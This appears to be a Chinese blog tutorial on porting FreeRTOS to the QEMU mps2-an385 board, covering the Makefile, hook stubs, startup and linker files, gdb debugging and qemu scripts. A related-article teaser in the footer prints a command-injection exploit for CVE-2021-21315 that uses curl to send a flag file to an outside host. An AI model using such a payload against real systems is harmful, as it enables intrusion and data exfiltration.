FreeRTOS qemu mps2-an385 bsp 移植制作 :系统启动篇

news2025/1/18 9:58:30

相关文章

FreeRTOS qemu mps2-an385 bsp 移植制作 :环境搭建篇

开发环境

  • Win10 64位 + VS Code,ssh 远程连接 ubuntu

  • VMware Workstation Pro 16 + Ubuntu 20.04

  • FreeRTOSv202212.01(备注:可以在 github 获取最新版本)

  • qemu qemu-system-arm mps2-an385 开发板,qemu 版本 QEMU emulator version 4.2.1 或更高

  • arm gcc 交叉编译工具链:当前使用 gcc 编译环境, gcc-arm-11.2-2022.02-x86_64-arm-none-eabi, gcc version 11.2.1 20220111

前言

  • 前面的 FreeRTOS qemu mps2-an385 bsp 移植制作 :环境搭建篇 大体讲了一下环境搭建,初步配置了工程目录

  • 本篇继续优化,然后配置 VS Code gdb 调试,让系统启动起来

目录调整

  • 本篇为了系统的介绍 FreeRTOS 的整个移植过程,暂时使用现有的 FreeRTOS Demo,所以 main.c 暂时写个 空的 main 函数即可

在这里插入图片描述

  • main.c
#include <FreeRTOS.h>
#include <FreeRTOSConfig.h>

int main(void)
{
    return 0;
}

FreeRTOS hook 函数

  • 在 BSP 移植时,需要用户实现一些系统钩子函数(Hook),可以全部改为空函数

  • 新建 port.c 文件,放在 qemu_mps2/application/port.c


#include <FreeRTOS.h>
#include <task.h>
#include <FreeRTOSConfig.h>

void vAssertCalled(void)
{
    while (1);
}

void vApplicationTickHook(void)
{
}

void vApplicationIdleHook(void)
{
}

void vApplicationGetIdleTaskMemory(StaticTask_t ** ppxIdleTaskTCBBuffer,
                                    StackType_t ** ppxIdleTaskStackBuffer,
                                    uint32_t * pulIdleTaskStackSize)
{
}

void vApplicationGetTimerTaskMemory(StaticTask_t ** ppxTimerTaskTCBBuffer,
                                        StackType_t ** ppxTimerTaskStackBuffer,
                                        uint32_t * pulTimerTaskStackSize)
{
}

void vApplicationMallocFailedHook(void)
{
}

Makefile 构建文件

  • 当前使用 gcc 交叉编译的方式,所以创建 Makefile,qemu_mps2/Makefile,用于 make 编译构建

  • 产物: qemu_mps2.elf

OUTPUT_DIR := ./output
IMAGE := qemu_mps2.elf

KERNEL_ROOT = ./..
#CROSS_COMPILE := /home/rtt/linux/tools/gcc-arm-none-eabi-10-2020-q4-major/bin
CROSS_COMPILE = /home/zhangsz/linux/tools/gcc-arm-11.2-2022.02-x86_64-arm-none-eabi/bin/

CC = $(CROSS_COMPILE)/arm-none-eabi-gcc
LD = $(CROSS_COMPILE)/arm-none-eabi-gcc
SIZE = $(CROSS_COMPILE)/arm-none-eabi-size
MAKE = make

CFLAGS += $(INCLUDE_DIRS) -nostartfiles -ffreestanding -mthumb -mcpu=cortex-m3 \
		  -Wall -msoft-float -g -O0 -ffunction-sections -fdata-sections \
		  -std=gnu99 \

LDFLAGS=-mthumb \
		-mcpu=cortex-m3 \
		-mlittle-endian \
		-ffreestanding \
		-specs=nano.specs \
		-specs=nosys.specs \
		-specs=rdimon.specs \
		-T$(LINK_SCRIPTS) \
		-Wl,-Map=qemu_mps2.map

KERNEL_DIR = $(KERNEL_ROOT)/Source
KERNEL_PORT_DIR += $(KERNEL_DIR)/portable/GCC/ARM_CM3

INCLUDE_DIRS += -I$(KERNEL_DIR)/include \
				-I$(KERNEL_DIR)/portable/GCC/ARM_CM3

SOURCE_FILES += $(KERNEL_DIR)/tasks.c
SOURCE_FILES += $(KERNEL_DIR)/list.c
SOURCE_FILES += $(KERNEL_DIR)/queue.c
SOURCE_FILES += $(KERNEL_DIR)/timers.c
SOURCE_FILES += $(KERNEL_DIR)/event_groups.c
SOURCE_FILES += $(KERNEL_DIR)/stream_buffer.c
SOURCE_FILES += $(KERNEL_DIR)/portable/MemMang/heap_4.c
SOURCE_FILES += $(KERNEL_DIR)/portable/GCC/ARM_CM3/port.c

DEMO_ROOT = $(KERNEL_ROOT)
DEMO_PROJECT = $(DEMO_ROOT)/qemu_mps2
INCLUDE_DIRS += -I$(DEMO_PROJECT) \
				-I$(DEMO_PROJECT)/application \
				-I$(DEMO_PROJECT)/CMSIS/Core/Include \
				-I$(DEMO_PROJECT)/CMSDK_CM3/Include

SOURCE_FILES += $(DEMO_PROJECT)/application/main.c
SOURCE_FILES += $(DEMO_PROJECT)/CMSDK_CM3/Source/system_CMSDK_CM3.c
SOURCE_FILES += $(DEMO_PROJECT)/application/port.c

ASM_OBJS = $(DEMO_PROJECT)/CMSDK_CM3/Source/GCC/startup_CMSDK_CM3.o

APP_OBJS=$(patsubst  %.c, %.o, $(SOURCE_FILES))

LINK_SCRIPTS = $(DEMO_PROJECT)/CMSDK_CM3/Source/GCC/gcc_arm.ld

all: app
	@echo "---- build end ----"

.c.o:
	$(CC) -c $^  -o $@ $(CFLAGS)

.S.o:
	$(CC) -c $^ -o $@ $(CFLAGS)

app : $(APP_OBJS) $(ASM_OBJS)
	$(CC)  $^ -o $(IMAGE) $(LDFLAGS)

clean :
	rm -f $(APP_OBJS)
	rm -f $(ASM_OBJS)
	rm -f $(IMAGE)

export CFLAGS CC

编译

  • 进入 bsp qemu_mps2 目录下,可以通过 make 命令进行编译

device 设置

  • 初次编译会报错,需要定义 芯片的型号

在这里插入图片描述

  • 解决方法:qemu_mps2/CMSDK_CM3/Source/system_CMSDK_CM3.c 中添加 #define CMSDK_CM3
#ifndef CMSDK_CM3
#define CMSDK_CM3
#endif

在这里插入图片描述

FreeRTOS 的 Hook 函数未定义

  • 这里需要上面创建的 port.c 实现几个未定义的hook 函数,可以为空,然后让 port.c 加入Makefile,参与编译

启动文件

  • 编译通过了,可以开始调试了,这里开始讲一下 启动文件

  • MCU 第一个执行的不是 main 函数,而是复位:Reset_Handler

  • 当前 qemu mps2-an385 启动文件是:qemu_mps2/CMSDK_CM3/Source/GCC/startup_CMSDK_CM3.S

  • 像 STM32,除了系统的启动文件,还有一个 时钟配置相关的文件,当前 qemu mps2-an385 的是 qemu_mps2/CMSDK_CM3/Source/system_CMSDK_CM3.c

链接脚本

  • 嵌入式开发,需要了解基本的链接脚本,当前 qemu mps2-an385 的链接脚本使用 qemu_mps2/CMSDK_CM3/Source/GCC/gcc_arm.ld

VS Code gdb 调试

  • 在没有任何驱动的支持下, 编译后的 文件是否可以执行呢?其实 启动文件与链接脚本,已经让 MCU 可以启动了

  • VS Code gdb 调试配置文件,VS Code 调试按钮,如果没有就创建一个 .vscode/launch.json

在这里插入图片描述

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "qemu_mps2",
            "type": "cppdbg",
            "request": "launch",
            "program": "${workspaceFolder}/qemu_mps2/qemu_mps2.elf",
            "cwd": "${workspaceFolder}",
            //"miDebuggerPath": "/home/rtt/tools/gcc-arm-none-eabi-7-2018-q2-update/bin/arm-none-eabi-gdb-py",
            "miDebuggerPath": "/home/zhangsz/linux/tools/gcc-arm-11.2-2022.02-x86_64-arm-none-eabi/bin/arm-none-eabi-gdb",
            "miDebuggerServerAddress": "localhost:1234",
            "stopAtEntry": true,
            //"preLaunchTask": "Run QEMU"
        }
    ]
}

qemu 启动与调试脚本

  • 新建 qemu.sh ,并设置执行权限: chmod +x qemu.sh
#!/bin/bash
qemu-system-arm -machine mps2-an385 \
	-cpu cortex-m3 \
	-kernel ./qemu_mps2.elf \
	-monitor none \
	-nographic
  • 新建 qemu-debug.sh,并设置执行权限: chmod +x qemu-debug.sh
#!/bin/bash
qemu-system-arm -machine mps2-an385 \
	-cpu cortex-m3 \
	-kernel ./qemu_mps2.elf \
	-monitor none \
	-nographic \
	-s -S
  • 备注:当前 FreeRTOS 无法正常运行,所以执行 ./qemu.sh 没有任何的反应,会卡住

  • 执行 ./qemu-debug.sh,此时进入 调试模式,卡住

  • 点击 VS Code 调试按钮,进入调试

在这里插入图片描述

  • 正常启动时,会进入 qemu_mps2/CMSDK_CM3/Source/GCC/startup_CMSDK_CM3.SReset_Handler 函数,这个 系统的启动入口,第一个执行的函数

  • 开始执行 SystemInit,这个函数在 qemu_mps2/CMSDK_CM3/Source/system_CMSDK_CM3.c

  • 此时调试按 【单步】,可以进入 SystemInit

在这里插入图片描述

  • 点击 调试 工具 的 【单步】,或者 快捷键【F11】
    在这里插入图片描述

  • 开发板启动了

小结

  • 本篇注意讲解 启动文件、连接脚本、FreeRTOS 启动前期的 开发板启动、VS Code gdb 调试

  • 系统环境准备好,接下来就可以开始 FreeRTOS 的相关适配、驱动的适配(当前主要是串口)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884783.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

亿赛通电子文档安全管理系统任意文件上传漏洞复现

0x01 产品简介 亿赛通电子文档安全管理系统&#xff08;简称&#xff1a;CDG&#xff09;是一款电子文档安全加密软件&#xff0c;该系统利用驱动层透明加密技术&#xff0c;通过对电子文档的加密保护&#xff0c;防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&…

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块&#xff08;Anonymous Block&#xff09;是存储过程的字块之一&#xff0c;没有名称。一般用于不频繁执行的脚本或…

【Unity每日一记】方位辨别—向量的叉乘点乘结合

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;uni…

优化 Linux 系统性能:探索 tuned 守护进程的调优配置文件

tuned守护进程调优系统调优配置文件从命令行配置系统调优安装、启用和启动tuned软件包tuned-adm 感谢 &#x1f496; hello大家好&#x1f60a; tuned守护进程调优系统 系统管理员可以基于多种用例工作负载来调整各种设备设置&#xff0c;以此优化系统性能。tuned 守护进程会利…

Python学习笔记_基础篇(七)_常用模块

模块&#xff0c;用一砣代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程&#xff0c;函数式编程则完成一个功能&#xff0c;其他代码用来调用即可&#xff0c;提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来&#xff0c;可能需要多个函数才能完成…

什么是LAXCUS分布式操作系统?

相较Linux、Windows&#xff0c;Laxcus是同时在多台计算机上运行的操作系统&#xff0c;处理大规模、高并发、高性能业务&#xff0c;其特点是资源共享和任务并行&#xff0c;并实现【数存算管】超融合一体化。环境中的资源&#xff1a;CPU、GPU、内存、硬盘、网络&#xff0c;…

Python学习笔记_基础篇(八)_正则表达式

1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具&#xff0c;拥有自己独特的语法以及一个独立的处理引擎&#xff0c;效率上可能不如str自带的方法&#xff0c;但功能十分强大。得益于这一点&#xff0c;在提供了正则…

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一&#xff0c;在一些比较敏感的场景下&#xff0c;重复消费会造成比较严重的后果&#xff0c;比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢&#xff1f; 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度&#xff0c;也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备&#xff0c;旨在提高健身爱好者的运动效率。其中&#xff0c;运动耳机无疑是其中之一&#xff0c;不论是室内锻炼还是室外运动&#xff0c;一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目给我们一个链表&#xff0c;让我们把奇索引和偶索引的节点区分开来 &#xff0c;参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat&#xff1a; 开放源代码web应用服务器。&#xff08;基于Java代码开发的&#xff09;&#xff0c;主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码&#xff0c;Tomcat可以解析html页面当中的Java&#xff0c;执行动态请求&#xff0c;动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台&#xff0c;curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者&#xff1a;CSDN内容合伙人、技术专家&#xff0c; 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 &#xff0c;擅长java后端、移动开发、人工智能等&#xff0c;希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时&#xff0c;经常需要对一段话插入一段描述或者附件链接等&#xff0c;使用脚注经常因占用篇幅较大导致文档页面内容杂乱&#xff0c;这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注&#xff0c;这样文章整体干净整洁&#xff0c;需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图&#xff1a;

Python random模块用法整理

随机数在计算机科学领域扮演着重要的角色&#xff0c;用于模拟真实世界的随机性、数据生成、密码学等多个领域。Python 中的 random 模块提供了丰富的随机数生成功能&#xff0c;本文整理了 random 模块的使用。 文章目录 Python random 模块注意事项Python random 模块的内置…

koa 使用 Mongoose 查询数据

Mongosee 操作符koa 使用 Mongoose 进行 翻页查询koa 使用 Mongoose 进行 多条件查询 mongosee 操作符 在使用 Koa 和 Mongoose 进行数据库查询时&#xff0c;你可以使用以下常用的操作符来构建查询条件&#xff1a; $eq&#xff1a;等于 示例&#xff1a;{ field: { $eq: valu…

pip install mysql出现error: subprocess - exited-with-error的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

【Linux命令详解 | df命令】 df命令用于显示文件系统的磁盘空间使用情况,包括挂载点和可用空间

文章标题 简介一&#xff0c;参数列表二&#xff0c;使用介绍1. 查看整体磁盘空间使用情况2. 显示指定文件系统类型3. 查看inode信息4. 显示指定列5. 显示总计信息6. 检查特定文件系统空间使用情况7. 定期监控磁盘空间8. 了解磁盘配额9. 监控文件系统健康状态 结论 简介 在Lin…